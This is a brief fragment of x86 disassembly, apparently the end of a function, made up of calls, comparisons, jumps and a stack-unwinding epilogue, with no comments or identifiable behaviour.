call fcn.0040339b
push eax
call fcn.0044044c
add esp, 0x10
cmp esi, eax
jne 0x410929
cmp byte [edi + 0x3d], bl
je 0x410927
test esi, esi
jne 0x410868
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00402a51
jmp 0x410868
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov al, bl
jmp 0x41093c
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret